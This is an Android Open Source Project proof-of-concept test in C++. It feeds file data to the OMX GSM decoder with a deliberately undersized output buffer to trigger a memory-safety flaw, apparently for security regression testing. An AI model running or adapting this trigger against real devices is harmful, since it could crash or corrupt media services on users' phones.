1 /**
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include "../includes/common.h"
18 #include <stdlib.h>
19
20 // This PoC is only for 32-bit builds
21 #if _32_BIT
22 #include "../includes/omxUtils.h"
23 #include "hidlmemory/mapping.h"
24 #include <fstream>
25
26 #define FILE_SIZE UINT16_MAX + 1
27 #define INPUT_BUFFER_SIZE 16380
28 #define NUMBER_OF_BUFFERS 4
29 #define VULNERABLE_SIZE 4
30 #define SLEEP_TIME_IN_SECONDS 1
31 #define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
32
33 extern int numCallbackEmptyBufferDone;
34 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
35
allocateHidlPortBuffers(OMX_U32 portIndex,Vector<Buffer> * buffers,int BufferSize)36 int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
37 int BufferSize) {
38 buffers->clear();
39 OMX_PARAM_PORTDEFINITIONTYPE def;
40 int err = omxUtilsGetParameter(portIndex, &def);
41 omxExitOnError(err);
42 for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
43 Buffer buffer;
44 buffer.mFlags = 0;
45 bool success;
46 auto transStatus = mAllocator->allocate(
47 BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
48 success = s;
49 buffer.mHidlMemory = m;
50 });
51 omxExitOnError(!transStatus.isOk());
52 omxExitOnError(!success);
53 buffers->push(buffer);
54 }
55 return OK;
56 }
57 #endif /* _32_BIT */
58
main(int argc,char * argv[])59 int main(int argc, char *argv[]) {
60 (void)argc;
61 (void)argv;
62
63 // This PoC is only for 32-bit builds
64 #if _32_BIT
65 if (argc != 2) {
66 return EXIT_FAILURE;
67 }
68 std::ifstream file(argv[1], std::ifstream::binary);
69 long size = FILE_SIZE;
70 uint8_t *buffer = new uint8_t[size];
71 if (!buffer) {
72 file.close();
73 return EXIT_FAILURE;
74 }
75 file.read((char *)buffer, size);
76
77 /* Initialize OMX for the specified codec */
78 status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
79 omxExitOnError(ret);
80
81 /* Set OMX input port parameters */
82 OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
83 sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
84 if (!params) {
85 file.close();
86 delete[] buffer;
87 return EXIT_FAILURE;
88 }
89 params->nPortIndex = OMX_UTILS_IP_PORT;
90 params->nBufferSize = INPUT_BUFFER_SIZE;
91 params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
92 omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
93 memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
94 omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
95
96 /* Prepare input port buffers */
97 int inMemSize = params->nBufferCountActual * params->nBufferSize;
98 int inBufferCnt = params->nBufferCountActual;
99 int inBufferSize = inMemSize / inBufferCnt;
100 IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
101
102 /* Set OMX output port parameters */
103 omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
104 params->nPortIndex = OMX_UTILS_OP_PORT;
105 params->nBufferSize = VULNERABLE_SIZE;
106 params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
107 omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
108 memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
109 omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
110
111 /* Prepare output port buffers */
112 int outBufferCnt = params->nBufferCountActual;
113 int outBufferSize = VULNERABLE_SIZE;
114 IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
115
116 Vector<Buffer> inputBuffers;
117 Vector<Buffer> outputBuffers;
118 /* Register input buffers with OMX component */
119 allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
120 for (int i = 0; i < inBufferCnt; ++i) {
121 inBufferId[i] = inputBuffers[i].mID;
122 sp<android::hidl::memory::V1_0::IMemory> mem =
123 mapMemory(inputBuffers[i].mHidlMemory);
124 memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
125 INPUT_BUFFER_SIZE);
126 omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
127 &inBufferId[i]);
128 }
129
130 /* Register output buffers with OMX component */
131 allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
132 for (int i = 0; i < outBufferCnt; ++i) {
133 outBufferId[i] = outputBuffers[i].mID;
134 omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
135 &outBufferId[i]);
136 }
137
138 /* Do OMX State change to Idle */
139 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
140 /* Do OMX State change to Executing */
141 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
142 for (int i = 0; i < inBufferCnt; ++i) {
143 OMXBuffer omxBuf(0, inBufferSize);
144 omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
145 }
146 for (int i = 0; i < outBufferCnt; ++i) {
147 OMXBuffer omxBuf(0, outBufferSize);
148 omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
149 }
150 /* Do OMX State change to Idle */
151 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
152 time_t currentTime = time(NULL);
153 time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
154 while (currentTime < endTime) {
155 sleep(SLEEP_TIME_IN_SECONDS);
156 if (numCallbackEmptyBufferDone == inBufferCnt) {
157 break;
158 }
159 currentTime = time(NULL);
160 }
161 if (numCallbackEmptyBufferDone != inBufferCnt) {
162 free(params);
163 file.close();
164 delete[] buffer;
165 return EXIT_FAILURE;
166 }
167 /* Free input and output buffers */
168 for (int i = 0; i < inBufferCnt; ++i) {
169 omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
170 }
171 for (int i = 0; i < outBufferCnt; ++i) {
172 omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
173 }
174
175 /* Free OMX resources */
176 omxUtilsFreeNode();
177 free(params);
178 file.close();
179 delete[] buffer;
180 #endif /* _32_BIT */
181
182 return EXIT_SUCCESS;
183 }
184